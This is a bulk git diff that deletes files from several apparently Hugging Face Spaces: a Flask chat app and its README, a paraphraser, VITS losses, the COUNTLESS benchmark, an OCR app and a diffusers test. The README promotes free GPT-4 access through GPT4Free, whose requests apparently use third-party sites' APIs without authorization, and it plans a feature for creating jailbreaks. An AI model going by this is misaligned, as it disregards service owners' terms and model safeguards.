-- [ ] Check status of API Providers (online/offline)
-- [ ] Enable editing and creating Jailbreaks/Roles in the WebUI
-- [ ] Refactor web client
-
-## Getting Started :white_check_mark:  
-To get started with this project, you'll need to clone the repository and have [Python](https://www.python.org/downloads/) installed on your system.  
-  
-### Cloning the Repository :inbox_tray:
-Run the following command to clone the repository:  
-
-```
-git clone https://github.com/ramonvc/freegpt-webui.git
-```
-
-### Install Dependencies :wrench: 
-Navigate to the project directory:
-```
-cd freegpt-webui
-```
-
-Install the dependencies:
-```
-pip install -r requirements.txt
-```
-## Running the Application :rocket:
-To run the application, run the following command:
-```
-python run.py
-```
-
-Access the application in your browser using the URL:
-```
-http://127.0.0.1:1338
-```
-or
-```
-http://localhost:1338
-```
-
-
-## Docker 🐳
-### Prerequisites
-Before you start, make sure you have installed [Docker](https://www.docker.com/get-started) on your machine.
-
-### Running the Docker
-Pull the Docker image from Docker Hub:
-```
-docker pull ramonvc/freegpt-webui
-```
-
-Run the application using Docker:
-```
-docker run -p 1338:1338 ramonvc/freegpt-webui
-```
-
-Access the application in your browser using the URL:
-```
-http://127.0.0.1:1338
-```
-or
-```
-http://localhost:1338
-```
-
-When you're done using the application, stop the Docker containers using the following command:
-```
-docker stop <container-id>
-```
-
-## Incorporated Projects :busts_in_silhouette:
-I highly recommend visiting and supporting both projects.
-
-### WebUI
-The application interface was incorporated from the [chatgpt-clone](https://github.com/xtekky/chatgpt-clone) repository.
-
-### API G4F
-The free GPT-4 API was incorporated from the [GPT4Free](https://github.com/xtekky/gpt4free) repository.
-
-<br>
-
-## Star History
-[![Star History Chart](https://api.star-history.com/svg?repos=ramonvc/freegpt-webui&type=Timeline)](https://star-history.com/#ramonvc/freegpt-webui&Timeline)
-
-<br>
-
-## Legal Notice
-This repository is _not_ associated with or endorsed by providers of the APIs contained in this GitHub repository. This
-project is intended **for educational purposes only**. This is just a little personal project. Sites may contact me to
-improve their security or request the removal of their site from this repository.
-
-Please note the following:
-
-1. **Disclaimer**: The APIs, services, and trademarks mentioned in this repository belong to their respective owners.
-   This project is _not_ claiming any right over them nor is it affiliated with or endorsed by any of the providers
-   mentioned.
-
-2. **Responsibility**: The author of this repository is _not_ responsible for any consequences, damages, or losses
-   arising from the use or misuse of this repository or the content provided by the third-party APIs. Users are solely
-   responsible for their actions and any repercussions that may follow. We strongly recommend the users to follow the
-   TOS of the each Website.
-
-3. **Educational Purposes Only**: This repository and its content are provided strictly for educational purposes. By
-   using the information and code provided, users acknowledge that they are using the APIs and models at their own risk
-   and agree to comply with any applicable laws and regulations.
-
-4. **Copyright**: All content in this repository, including but not limited to code, images, and documentation, is the
-   intellectual property of the repository author, unless otherwise stated. Unauthorized copying, distribution, or use
-   of any content in this repository is strictly prohibited without the express written consent of the repository
-   author.
-
-5. **Indemnification**: Users agree to indemnify, defend, and hold harmless the author of this repository from and
-   against any and all claims, liabilities, damages, losses, or expenses, including legal fees and costs, arising out of
-   or in any way connected with their use or misuse of this repository, its content, or related third-party APIs.
-
-6. **Updates and Changes**: The author reserves the right to modify, update, or remove any content, information, or
-   features in this repository at any time without prior notice. Users are responsible for regularly reviewing the
-   content and any changes made to this repository.
-
-By using this repository or any code related to it, you agree to these terms. The author is not responsible for any
-copies, forks, or reuploads made by other users. This is the author's only account and repository. To prevent
-impersonation or irresponsible actions, you may comply with the GNU GPL license this Repository uses.
diff --git a/spaces/ASJMO/freegpt/run.py b/spaces/ASJMO/freegpt/run.py
deleted file mode 100644
index 3b9ca0f439c4dd6a791f7eed62d942d096562b61..0000000000000000000000000000000000000000
--- a/spaces/ASJMO/freegpt/run.py
+++ /dev/null
@@ -1,48 +0,0 @@
-import secrets
-
-from server.bp import bp
-from server.website import Website
-from server.backend import Backend_Api
-from server.babel import create_babel
-from json import load
-from flask import Flask
-
-if __name__ == '__main__':
-
-    # Load configuration from config.json
-    config = load(open('config.json', 'r'))
-    site_config = config['site_config']
-    url_prefix = config.pop('url_prefix')
-
-    # Create the app
-    app = Flask(__name__)
-    app.secret_key = secrets.token_hex(16)
-
-    # Set up Babel
-    create_babel(app)
-
-    # Set up the website routes
-    site = Website(bp, url_prefix)
-    for route in site.routes:
-        bp.add_url_rule(
-            route,
-            view_func=site.routes[route]['function'],
-            methods=site.routes[route]['methods'],
-        )
-
-    # Set up the backend API routes
-    backend_api = Backend_Api(bp, config)
-    for route in backend_api.routes:
-        bp.add_url_rule(
-            route,
-            view_func=backend_api.routes[route]['function'],
-            methods=backend_api.routes[route]['methods'],
-        )
-
-    # Register the blueprint
-    app.register_blueprint(bp, url_prefix=url_prefix)
-
-    # Run the Flask server
-    print(f"Running on {site_config['port']}{url_prefix}")
-    app.run(**site_config)
-    print(f"Closing port {site_config['port']}")
diff --git a/spaces/AdityaMahimkar/ParaPhraser/app.py b/spaces/AdityaMahimkar/ParaPhraser/app.py
deleted file mode 100644
index 70de74dd5d8f7ec1e784179320e9e08f16660ddf..0000000000000000000000000000000000000000
--- a/spaces/AdityaMahimkar/ParaPhraser/app.py
+++ /dev/null
@@ -1,36 +0,0 @@
-# https://huggingface.co/tuner007/pegasus_paraphrase
-
-import nltk
-from nltk import sent_tokenize
-nltk.download('punkt')
-
-import gradio as gr
-
-import torch
-from transformers import PegasusForConditionalGeneration, PegasusTokenizer
-
-import warnings
-warnings.filterwarnings('ignore')
-
-model_name = 'tuner007/pegasus_paraphrase'
-torch_device = 'cuda' if torch.cuda.is_available() else 'cpu'
-tokenizer = PegasusTokenizer.from_pretrained(model_name)
-model = PegasusForConditionalGeneration.from_pretrained(model_name).to(torch_device)
-
-def paraphraser(input_text,num_return_sequences=1):
-  sentence_list = sent_tokenize(input_text)
-
-  output = []
-  for sentence in sentence_list:
-    batch = tokenizer.prepare_seq2seq_batch([sentence],truncation=True,padding='longest',max_length=60, return_tensors="pt").to(torch_device)
-    translated = model.generate(**batch,max_length=60,num_beams=10, num_return_sequences=num_return_sequences, temperature=1.5)
-    tgt_text = tokenizer.batch_decode(translated, skip_special_tokens=True)
-    output.extend(tgt_text)
-
-  paraphrase = [' '.join(x for x in output)]
-  paraphrased_text = str(paraphrase).strip('[]').strip("'")
-
-  return paraphrased_text
-  
-paraphraseUI = gr.Interface(fn=paraphraser, inputs='textbox', outputs='text', title="ParaPhraser", theme='dark')
-paraphraseUI.launch(inbrowser=True, share=True)
\ No newline at end of file
diff --git a/spaces/Al-Chan/Vits_League_of_Legends_Yuumi_TTS/losses.py b/spaces/Al-Chan/Vits_League_of_Legends_Yuumi_TTS/losses.py
deleted file mode 100644
index fb22a0e834dd87edaa37bb8190eee2c3c7abe0d5..0000000000000000000000000000000000000000
--- a/spaces/Al-Chan/Vits_League_of_Legends_Yuumi_TTS/losses.py
+++ /dev/null
@@ -1,61 +0,0 @@
-import torch 
-from torch.nn import functional as F
-
-import commons
-
-
-def feature_loss(fmap_r, fmap_g):
-  loss = 0
-  for dr, dg in zip(fmap_r, fmap_g):
-    for rl, gl in zip(dr, dg):
-      rl = rl.float().detach()
-      gl = gl.float()
-      loss += torch.mean(torch.abs(rl - gl))
-
-  return loss * 2 
-
-
-def discriminator_loss(disc_real_outputs, disc_generated_outputs):
-  loss = 0
-  r_losses = []
-  g_losses = []
-  for dr, dg in zip(disc_real_outputs, disc_generated_outputs):
-    dr = dr.float()
-    dg = dg.float()
-    r_loss = torch.mean((1-dr)**2)
-    g_loss = torch.mean(dg**2)
-    loss += (r_loss + g_loss)
-    r_losses.append(r_loss.item())
-    g_losses.append(g_loss.item())
-
-  return loss, r_losses, g_losses
-
-
-def generator_loss(disc_outputs):
-  loss = 0
-  gen_losses = []
-  for dg in disc_outputs:
-    dg = dg.float()
-    l = torch.mean((1-dg)**2)
-    gen_losses.append(l)
-    loss += l
-
-  return loss, gen_losses
-
-
-def kl_loss(z_p, logs_q, m_p, logs_p, z_mask):
-  """
-  z_p, logs_q: [b, h, t_t]
-  m_p, logs_p: [b, h, t_t]
-  """
-  z_p = z_p.float()
-  logs_q = logs_q.float()
-  m_p = m_p.float()
-  logs_p = logs_p.float()
-  z_mask = z_mask.float()
-
-  kl = logs_p - logs_q - 0.5
-  kl += 0.5 * ((z_p - m_p)**2) * torch.exp(-2. * logs_p)
-  kl = torch.sum(kl * z_mask)
-  l = kl / torch.sum(z_mask)
-  return l
diff --git a/spaces/AlexWang/lama/saicinpainting/evaluation/masks/countless/countless2d.py b/spaces/AlexWang/lama/saicinpainting/evaluation/masks/countless/countless2d.py
deleted file mode 100644
index dc27b73affa20ab1a8a199542469a10aaf1f555a..0000000000000000000000000000000000000000
--- a/spaces/AlexWang/lama/saicinpainting/evaluation/masks/countless/countless2d.py
+++ /dev/null
@@ -1,529 +0,0 @@
-from __future__ import print_function, division
-
-"""
-COUNTLESS performance test in Python.
-
-python countless2d.py ./images/NAMEOFIMAGE
-"""
-
-import six
-from six.moves import range
-from collections import defaultdict
-from functools import reduce
-import operator 
-import io
-import os
-from PIL import Image
-import math
-import numpy as np
-import random
-import sys
-import time
-from tqdm import tqdm
-from scipy import ndimage
-
-def simplest_countless(data):
-  """
-  Vectorized implementation of downsampling a 2D 
-  image by 2 on each side using the COUNTLESS algorithm.
-  
-  data is a 2D numpy array with even dimensions.
-  """
-  sections = []
-  
-  # This loop splits the 2D array apart into four arrays that are
-  # all the result of striding by 2 and offset by (0,0), (0,1), (1,0), 
-  # and (1,1) representing the A, B, C, and D positions from Figure 1.
-  factor = (2,2)
-  for offset in np.ndindex(factor):
-    part = data[tuple(np.s_[o::f] for o, f in zip(offset, factor))]
-    sections.append(part)
-
-  a, b, c, d = sections
-
-  ab = a * (a == b) # PICK(A,B)
-  ac = a * (a == c) # PICK(A,C)
-  bc = b * (b == c) # PICK(B,C)
-
-  a = ab | ac | bc # Bitwise OR, safe b/c non-matches are zeroed
-  
-  return a + (a == 0) * d # AB || AC || BC || D
-
-def quick_countless(data):
-  """
-  Vectorized implementation of downsampling a 2D 
-  image by 2 on each side using the COUNTLESS algorithm.
-  
-  data is a 2D numpy array with even dimensions.
-  """
-  sections = []
-  
-  # This loop splits the 2D array apart into four arrays that are
-  # all the result of striding by 2 and offset by (0,0), (0,1), (1,0), 
-  # and (1,1) representing the A, B, C, and D positions from Figure 1.
-  factor = (2,2)
-  for offset in np.ndindex(factor):
-    part = data[tuple(np.s_[o::f] for o, f in zip(offset, factor))]
-    sections.append(part)
-
-  a, b, c, d = sections
-
-  ab_ac = a * ((a == b) | (a == c)) # PICK(A,B) || PICK(A,C) w/ optimization
-  bc = b * (b == c) # PICK(B,C)
-
-  a = ab_ac | bc # (PICK(A,B) || PICK(A,C)) or PICK(B,C)
-  return a + (a == 0) * d # AB || AC || BC || D
-
-def quickest_countless(data):
-  """
-  Vectorized implementation of downsampling a 2D 
-  image by 2 on each side using the COUNTLESS algorithm.
-  
-  data is a 2D numpy array with even dimensions.
-  """
-  sections = []
-  
-  # This loop splits the 2D array apart into four arrays that are
-  # all the result of striding by 2 and offset by (0,0), (0,1), (1,0), 
-  # and (1,1) representing the A, B, C, and D positions from Figure 1.
-  factor = (2,2)
-  for offset in np.ndindex(factor):
-    part = data[tuple(np.s_[o::f] for o, f in zip(offset, factor))]
-    sections.append(part)
-
-  a, b, c, d = sections
-
-  ab_ac = a * ((a == b) | (a == c)) # PICK(A,B) || PICK(A,C) w/ optimization
-  ab_ac |= b * (b == c) # PICK(B,C)
-  return ab_ac + (ab_ac == 0) * d # AB || AC || BC || D
-
-def quick_countless_xor(data):
-  """
-  Vectorized implementation of downsampling a 2D 
-  image by 2 on each side using the COUNTLESS algorithm.
-  
-  data is a 2D numpy array with even dimensions.
-  """
-  sections = []
-  
-  # This loop splits the 2D array apart into four arrays that are
-  # all the result of striding by 2 and offset by (0,0), (0,1), (1,0), 
-  # and (1,1) representing the A, B, C, and D positions from Figure 1.
-  factor = (2,2)
-  for offset in np.ndindex(factor):
-    part = data[tuple(np.s_[o::f] for o, f in zip(offset, factor))]
-    sections.append(part)
-
-  a, b, c, d = sections
-
-  ab = a ^ (a ^ b) # a or b
-  ab += (ab != a) * ((ab ^ (ab ^ c)) - b) # b or c
-  ab += (ab == c) * ((ab ^ (ab ^ d)) - c) # c or d
-  return ab
-
-def stippled_countless(data):
-  """
-  Vectorized implementation of downsampling a 2D 
-  image by 2 on each side using the COUNTLESS algorithm
-  that treats zero as "background" and inflates lone
-  pixels.
-  
-  data is a 2D numpy array with even dimensions.
-  """
-  sections = []
-  
-  # This loop splits the 2D array apart into four arrays that are
-  # all the result of striding by 2 and offset by (0,0), (0,1), (1,0), 
-  # and (1,1) representing the A, B, C, and D positions from Figure 1.
-  factor = (2,2)
-  for offset in np.ndindex(factor):
-    part = data[tuple(np.s_[o::f] for o, f in zip(offset, factor))]
-    sections.append(part)
-
-  a, b, c, d = sections
-
-  ab_ac = a * ((a == b) | (a == c)) # PICK(A,B) || PICK(A,C) w/ optimization
-  ab_ac |= b * (b == c) # PICK(B,C)
-
-  nonzero = a + (a == 0) * (b + (b == 0) * c)
-  return ab_ac + (ab_ac == 0) * (d + (d == 0) * nonzero) # AB || AC || BC || D
-
-def zero_corrected_countless(data):
-  """
-  Vectorized implementation of downsampling a 2D 
-  image by 2 on each side using the COUNTLESS algorithm.
-  
-  data is a 2D numpy array with even dimensions.
-  """
-  # allows us to prevent losing 1/2 a bit of information 
-  # at the top end by using a bigger type. Without this 255 is handled incorrectly.
-  data, upgraded = upgrade_type(data) 
-
-  # offset from zero, raw countless doesn't handle 0 correctly
-  # we'll remove the extra 1 at the end.
-  data += 1 
-
-  sections = []
-  
-  # This loop splits the 2D array apart into four arrays that are
-  # all the result of striding by 2 and offset by (0,0), (0,1), (1,0), 
-  # and (1,1) representing the A, B, C, and D positions from Figure 1.
-  factor = (2,2)
-  for offset in np.ndindex(factor):
-    part = data[tuple(np.s_[o::f] for o, f in zip(offset, factor))]
-    sections.append(part)
-
-  a, b, c, d = sections
-
-  ab = a * (a == b) # PICK(A,B)
-  ac = a * (a == c) # PICK(A,C)
-  bc = b * (b == c) # PICK(B,C)
-
-  a = ab | ac | bc # Bitwise OR, safe b/c non-matches are zeroed
-  
-  result = a + (a == 0) * d - 1 # a or d - 1
-
-  if upgraded:
-    return downgrade_type(result)
-
-  # only need to reset data if we weren't upgraded 
-  # b/c no copy was made in that case
-  data -= 1
-
-  return result
-
-def countless_extreme(data):
-  nonzeros = np.count_nonzero(data)
-  # print("nonzeros", nonzeros)
-
-  N = reduce(operator.mul, data.shape)
-
-  if nonzeros == N:
-    print("quick")
-    return quick_countless(data)
-  elif np.count_nonzero(data + 1) == N:
-    print("quick")
-    # print("upper", nonzeros)
-    return quick_countless(data)
-  else:
-    return countless(data)
-
-
-def countless(data):
-  """
-  Vectorized implementation of downsampling a 2D 
-  image by 2 on each side using the COUNTLESS algorithm.
-  
-  data is a 2D numpy array with even dimensions.
-  """
-  # allows us to prevent losing 1/2 a bit of information 
-  # at the top end by using a bigger type. Without this 255 is handled incorrectly.
-  data, upgraded = upgrade_type(data) 
-
-  # offset from zero, raw countless doesn't handle 0 correctly
-  # we'll remove the extra 1 at the end.
-  data += 1 
-
-  sections = []
-  
-  # This loop splits the 2D array apart into four arrays that are
-  # all the result of striding by 2 and offset by (0,0), (0,1), (1,0), 
-  # and (1,1) representing the A, B, C, and D positions from Figure 1.
-  factor = (2,2)
-  for offset in np.ndindex(factor):
-    part = data[tuple(np.s_[o::f] for o, f in zip(offset, factor))]
-    sections.append(part)
-
-  a, b, c, d = sections
-
-  ab_ac = a * ((a == b) | (a == c)) # PICK(A,B) || PICK(A,C) w/ optimization
-  ab_ac |= b * (b == c) # PICK(B,C)
-  result = ab_ac + (ab_ac == 0) * d - 1 # (matches or d) - 1
-
-  if upgraded:
-    return downgrade_type(result)
-
-  # only need to reset data if we weren't upgraded 
-  # b/c no copy was made in that case
-  data -= 1
-
-  return result
-
-def upgrade_type(arr):
-  dtype = arr.dtype
-
-  if dtype == np.uint8:
-    return arr.astype(np.uint16), True
-  elif dtype == np.uint16:
-    return arr.astype(np.uint32), True
-  elif dtype == np.uint32:
-    return arr.astype(np.uint64), True
-
-  return arr, False
-  
-def downgrade_type(arr):
-  dtype = arr.dtype
-
-  if dtype == np.uint64:
-    return arr.astype(np.uint32)
-  elif dtype == np.uint32:
-    return arr.astype(np.uint16)
-  elif dtype == np.uint16:
-    return arr.astype(np.uint8)
-  
-  return arr
-
-def odd_to_even(image):
-  """
-  To facilitate 2x2 downsampling segmentation, change an odd sized image into an even sized one.
-  Works by mirroring the starting 1 pixel edge of the image on odd shaped sides.
-
-  e.g. turn a 3x3x5 image into a 4x4x5 (the x and y are what are getting downsampled)
-  
-  For example: [ 3, 2, 4 ] => [ 3, 3, 2, 4 ] which is now easy to downsample.
-
-  """
-  shape = np.array(image.shape)
-
-  offset = (shape % 2)[:2] # x,y offset
-  
-  # detect if we're dealing with an even
-  # image. if so it's fine, just return.
-  if not np.any(offset): 
-    return image
-
-  oddshape = image.shape[:2] + offset
-  oddshape = np.append(oddshape, shape[2:])
-  oddshape = oddshape.astype(int)
-
-  newimg = np.empty(shape=oddshape, dtype=image.dtype)
-
-  ox,oy = offset
-  sx,sy = oddshape
-
-  newimg[0,0] = image[0,0] # corner
-  newimg[ox:sx,0] = image[:,0] # x axis line
-  newimg[0,oy:sy] = image[0,:] # y axis line 
-
-  return newimg
-
-def counting(array):
-    factor = (2, 2, 1)
-    shape = array.shape
-
-    while len(shape) < 4:
-      array = np.expand_dims(array, axis=-1)
-      shape = array.shape
-
-    output_shape = tuple(int(math.ceil(s / f)) for s, f in zip(shape, factor))
-    output = np.zeros(output_shape, dtype=array.dtype)
-
-    for chan in range(0, shape[3]):
-      for z in range(0, shape[2]):
-        for x in range(0, shape[0], 2):
-          for y in range(0, shape[1], 2):
-            block = array[ x:x+2, y:y+2, z, chan ] # 2x2 block
-
-            hashtable = defaultdict(int)
-            for subx, suby in np.ndindex(block.shape[0], block.shape[1]):
-              hashtable[block[subx, suby]] += 1
-
-            best = (0, 0)
-            for segid, val in six.iteritems(hashtable):
-              if best[1] < val:
-                best = (segid, val)
-
-            output[ x // 2, y // 2, chan ] = best[0]
-    
-    return output
-
-def ndzoom(array):
-    if len(array.shape) == 3:
-      ratio = ( 1 / 2.0, 1 / 2.0, 1.0 )
-    else:
-      ratio = ( 1 / 2.0, 1 / 2.0)
-    return ndimage.interpolation.zoom(array, ratio, order=1)
-
-def countless_if(array):
-    factor = (2, 2, 1)
-    shape = array.shape
-
-    if len(shape) < 3:
-      array = array[ :,:, np.newaxis ]
-      shape = array.shape
-
-    output_shape = tuple(int(math.ceil(s / f)) for s, f in zip(shape, factor))
-    output = np.zeros(output_shape, dtype=array.dtype)
-
-    for chan in range(0, shape[2]):
-      for x in range(0, shape[0], 2):
-        for y in range(0, shape[1], 2):
-          block = array[ x:x+2, y:y+2, chan ] # 2x2 block
-
-          if block[0,0] == block[1,0]:
-            pick = block[0,0]
-          elif block[0,0] == block[0,1]:
-            pick = block[0,0]
-          elif block[1,0] == block[0,1]:
-            pick = block[1,0]
-          else:
-            pick = block[1,1]
-
-          output[ x // 2, y // 2, chan ] = pick
-    
-    return np.squeeze(output)
-
-def downsample_with_averaging(array):
-  """
-  Downsample x by factor using averaging.
-
-  @return: The downsampled array, of the same type as x.
-  """
-
-  if len(array.shape) == 3:
-    factor = (2,2,1)
-  else:
-    factor = (2,2)
-  
-  if np.array_equal(factor[:3], np.array([1,1,1])):
-    return array
-
-  output_shape = tuple(int(math.ceil(s / f)) for s, f in zip(array.shape, factor))
-  temp = np.zeros(output_shape, float)
-  counts = np.zeros(output_shape, np.int)
-  for offset in np.ndindex(factor):
-      part = array[tuple(np.s_[o::f] for o, f in zip(offset, factor))]
-      indexing_expr = tuple(np.s_[:s] for s in part.shape)
-      temp[indexing_expr] += part
-      counts[indexing_expr] += 1
-  return np.cast[array.dtype](temp / counts)
-
-def downsample_with_max_pooling(array):
-
-  factor = (2,2)
-
-  if np.all(np.array(factor, int) == 1):
-      return array
-
-  sections = []
-
-  for offset in np.ndindex(factor):
-    part = array[tuple(np.s_[o::f] for o, f in zip(offset, factor))]
-    sections.append(part)
-
-  output = sections[0].copy()
-
-  for section in sections[1:]:
-    np.maximum(output, section, output)
-
-  return output
-
-def striding(array): 
-  """Downsample x by factor using striding.
-
-  @return: The downsampled array, of the same type as x.
-  """
-  factor = (2,2)
-  if np.all(np.array(factor, int) == 1):
-    return array
-  return array[tuple(np.s_[::f] for f in factor)]
-
-def benchmark():
-  filename = sys.argv[1]
-  img = Image.open(filename)
-  data = np.array(img.getdata(), dtype=np.uint8)
-
-  if len(data.shape) == 1:
-    n_channels = 1
-    reshape = (img.height, img.width)
-  else:
-    n_channels = min(data.shape[1], 3)
-    data = data[:, :n_channels]
-    reshape = (img.height, img.width, n_channels)
-
-  data = data.reshape(reshape).astype(np.uint8)
-
-  methods = [
-    simplest_countless,
-    quick_countless,
-    quick_countless_xor,
-    quickest_countless,
-    stippled_countless,
-    zero_corrected_countless,
-    countless,
-    downsample_with_averaging,
-    downsample_with_max_pooling,
-    ndzoom,
-    striding,
-    # countless_if,
-    # counting,
-  ]
-
-  formats = {
-    1: 'L',
-    3: 'RGB',
-    4: 'RGBA'
-  }
-
-  if not os.path.exists('./results'):
-    os.mkdir('./results')
-
-  N = 500
-  img_size = float(img.width * img.height) / 1024.0 / 1024.0
-  print("N = %d, %dx%d (%.2f MPx) %d chan, %s" % (N, img.width, img.height, img_size, n_channels, filename))
-  print("Algorithm\tMPx/sec\tMB/sec\tSec")
-  for fn in methods:
-    print(fn.__name__, end='')
-    sys.stdout.flush()
-
-    start = time.time()
-    # tqdm is here to show you what's going on the first time you run it.
-    # Feel free to remove it to get slightly more accurate timing results.
-    for _ in tqdm(range(N), desc=fn.__name__, disable=True):
-      result = fn(data)
-    end = time.time()
-    print("\r", end='')
-
-    total_time = (end - start)
-    mpx = N * img_size / total_time
-    mbytes = N * img_size * n_channels / total_time
-    # Output in tab separated format to enable copy-paste into excel/numbers
-    print("%s\t%.3f\t%.3f\t%.2f" % (fn.__name__, mpx, mbytes, total_time))
-    outimg = Image.fromarray(np.squeeze(result), formats[n_channels])
-    outimg.save('./results/{}.png'.format(fn.__name__, "PNG"))
-
-if __name__ == '__main__':
-  benchmark()
-
-
-# Example results:
-# N = 5, 1024x1024 (1.00 MPx) 1 chan, images/gray_segmentation.png
-# Function                        MPx/sec   MB/sec     Sec
-# simplest_countless              752.855   752.855    0.01
-# quick_countless                 920.328   920.328    0.01
-# zero_corrected_countless        534.143   534.143    0.01
-# countless                       644.247   644.247    0.01
-# downsample_with_averaging       372.575   372.575    0.01
-# downsample_with_max_pooling     974.060   974.060    0.01
-# ndzoom                          137.517   137.517    0.04
-# striding                      38550.588 38550.588    0.00
-# countless_if                      4.377     4.377    1.14
-# counting                          0.117     0.117   42.85
-
-# Run without non-numpy implementations:
-# N = 2000, 1024x1024 (1.00 MPx) 1 chan, images/gray_segmentation.png
-# Algorithm                       MPx/sec   MB/sec     Sec
-# simplest_countless              800.522   800.522    2.50
-# quick_countless                 945.420   945.420    2.12
-# quickest_countless              947.256   947.256    2.11
-# stippled_countless              544.049   544.049    3.68
-# zero_corrected_countless        575.310   575.310    3.48
-# countless                       646.684   646.684    3.09
-# downsample_with_averaging       385.132   385.132    5.19
-# downsample_with_max_poolin      988.361   988.361    2.02
-# ndzoom                          163.104   163.104   12.26
-# striding                      81589.340 81589.340    0.02
-
-
-
-
diff --git a/spaces/AlhitawiMohammed22/CER_Hu-Evaluation-Metrics/eval_wer.py b/spaces/AlhitawiMohammed22/CER_Hu-Evaluation-Metrics/eval_wer.py
deleted file mode 100644
index e69de29bb2d1d6434b8b29ae775ad8c2e48c5391..0000000000000000000000000000000000000000
diff --git a/spaces/Amrrs/image-to-text-app/app.py b/spaces/Amrrs/image-to-text-app/app.py
deleted file mode 100644
index bd20d6b29b3a29e5d4a04c82fc4756f3ce9bd4f9..0000000000000000000000000000000000000000
--- a/spaces/Amrrs/image-to-text-app/app.py
+++ /dev/null
@@ -1,47 +0,0 @@
-import easyocr as ocr  #OCR
-import streamlit as st  #Web App
-from PIL import Image #Image Processing
-import numpy as np #Image Processing 
-
-#title
-st.title("Easy OCR - Extract Text from Images")
-
-#subtitle
-st.markdown("## Optical Character Recognition - Using `easyocr`, `streamlit` -  hosted on 🤗 Spaces")
-
-st.markdown("Link to the app - [image-to-text-app on 🤗 Spaces](https://huggingface.co/spaces/Amrrs/image-to-text-app)")
-
-#image uploader
-image = st.file_uploader(label = "Upload your image here",type=['png','jpg','jpeg'])
-
-
-@st.cache
-def load_model(): 
-    reader = ocr.Reader(['en'],model_storage_directory='.')
-    return reader 
-
-reader = load_model() #load model
-
-if image is not None:
-
-    input_image = Image.open(image) #read image
-    st.image(input_image) #display image
-
-    with st.spinner("🤖 AI is at Work! "):
-        
-
-        result = reader.readtext(np.array(input_image))
-
-        result_text = [] #empty list for results
-
-
-        for text in result:
-            result_text.append(text[1])
-
-        st.write(result_text)
-    #st.success("Here you go!")
-    st.balloons()
-else:
-    st.write("Upload an Image")
-
-st.caption("Made with ❤️ by @1littlecoder. Credits to 🤗 Spaces for Hosting this ")
diff --git a/spaces/Androidonnxfork/CivitAi-to-Diffusers/diffusers/tests/schedulers/test_scheduler_ipndm.py b/spaces/Androidonnxfork/CivitAi-to-Diffusers/diffusers/tests/schedulers/test_scheduler_ipndm.py
deleted file mode 100644
index 549caed47fe8f100c2bc4164329210209595ba7f..0000000000000000000000000000000000000000
--- a/spaces/Androidonnxfork/CivitAi-to-Diffusers/diffusers/tests/schedulers/test_scheduler_ipndm.py
+++ /dev/null
@@ -1,161 +0,0 @@
-import tempfile
-
-import torch
-
-from diffusers import IPNDMScheduler
-
-from .test_schedulers import SchedulerCommonTest
-
-
-class IPNDMSchedulerTest(SchedulerCommonTest):
-    scheduler_classes = (IPNDMScheduler,)
-    forward_default_kwargs = (("num_inference_steps", 50),)
-
-    def get_scheduler_config(self, **kwargs):
-        config = {"num_train_timesteps": 1000}
-        config.update(**kwargs)
-        return config
-
-    def check_over_configs(self, time_step=0, **config):
-        kwargs = dict(self.forward_default_kwargs)
-        num_inference_steps = kwargs.pop("num_inference_steps", None)
-        sample = self.dummy_sample
-        residual = 0.1 * sample
-        dummy_past_residuals = [residual + 0.2, residual + 0.15, residual + 0.1, residual + 0.05]
-
-        for scheduler_class in self.scheduler_classes:
-            scheduler_config = self.get_scheduler_config(**config)
-            scheduler = scheduler_class(**scheduler_config)
-            scheduler.set_timesteps(num_inference_steps)
-            # copy over dummy past residuals
-            scheduler.ets = dummy_past_residuals[:]
-
-            if time_step is None:
-                time_step = scheduler.timesteps[len(scheduler.timesteps) // 2]
-
-            with tempfile.TemporaryDirectory() as tmpdirname:
-                scheduler.save_config(tmpdirname)
-                new_scheduler = scheduler_class.from_pretrained(tmpdirname)
-                new_scheduler.set_timesteps(num_inference_steps)
-                # copy over dummy past residuals
-                new_scheduler.ets = dummy_past_residuals[:]
-
-            output = scheduler.step(residual, time_step, sample, **kwargs).prev_sample
-            new_output = new_scheduler.step(residual, time_step, sample, **kwargs).prev_sample
-
-            assert torch.sum(torch.abs(output - new_output)) < 1e-5, "Scheduler outputs are not identical"
-
-            output = scheduler.step(residual, time_step, sample, **kwargs).prev_sample
-            new_output = new_scheduler.step(residual, time_step, sample, **kwargs).prev_sample
-
-            assert torch.sum(torch.abs(output - new_output)) < 1e-5, "Scheduler outputs are not identical"
-
-    def test_from_save_pretrained(self):
-        pass
-
-    def check_over_forward(self, time_step=0, **forward_kwargs):
-        kwargs = dict(self.forward_default_kwargs)
-        num_inference_steps = kwargs.pop("num_inference_steps", None)
-        sample = self.dummy_sample
-        residual = 0.1 * sample
-        dummy_past_residuals = [residual + 0.2, residual + 0.15, residual + 0.1, residual + 0.05]
-
-        for scheduler_class in self.scheduler_classes:
-            scheduler_config = self.get_scheduler_config()
-            scheduler = scheduler_class(**scheduler_config)
-            scheduler.set_timesteps(num_inference_steps)
-
-            # copy over dummy past residuals (must be after setting timesteps)
-            scheduler.ets = dummy_past_residuals[:]
-
-            if time_step is None:
-                time_step = scheduler.timesteps[len(scheduler.timesteps) // 2]
-
-            with tempfile.TemporaryDirectory() as tmpdirname:
-                scheduler.save_config(tmpdirname)
-                new_scheduler = scheduler_class.from_pretrained(tmpdirname)
-                # copy over dummy past residuals
-                new_scheduler.set_timesteps(num_inference_steps)
-
-                # copy over dummy past residual (must be after setting timesteps)
-                new_scheduler.ets = dummy_past_residuals[:]
-
-            output = scheduler.step(residual, time_step, sample, **kwargs).prev_sample
-            new_output = new_scheduler.step(residual, time_step, sample, **kwargs).prev_sample
-
-            assert torch.sum(torch.abs(output - new_output)) < 1e-5, "Scheduler outputs are not identical"
-
-            output = scheduler.step(residual, time_step, sample, **kwargs).prev_sample
-            new_output = new_scheduler.step(residual, time_step, sample, **kwargs).prev_sample
-
-            assert torch.sum(torch.abs(output - new_output)) < 1e-5, "Scheduler outputs are not identical"
-
-    def full_loop(self, **config):
-        scheduler_class = self.scheduler_classes[0]
-        scheduler_config = self.get_scheduler_config(**config)
-        scheduler = scheduler_class(**scheduler_config)
-
-        num_inference_steps = 10
-        model = self.dummy_model()
-        sample = self.dummy_sample_deter
-        scheduler.set_timesteps(num_inference_steps)
-
-        for i, t in enumerate(scheduler.timesteps):
-            residual = model(sample, t)
-            sample = scheduler.step(residual, t, sample).prev_sample
-
-        for i, t in enumerate(scheduler.timesteps):
-            residual = model(sample, t)
-            sample = scheduler.step(residual, t, sample).prev_sample
-
-        return sample
-
-    def test_step_shape(self):
-        kwargs = dict(self.forward_default_kwargs)
-
-        num_inference_steps = kwargs.pop("num_inference_steps", None)
-
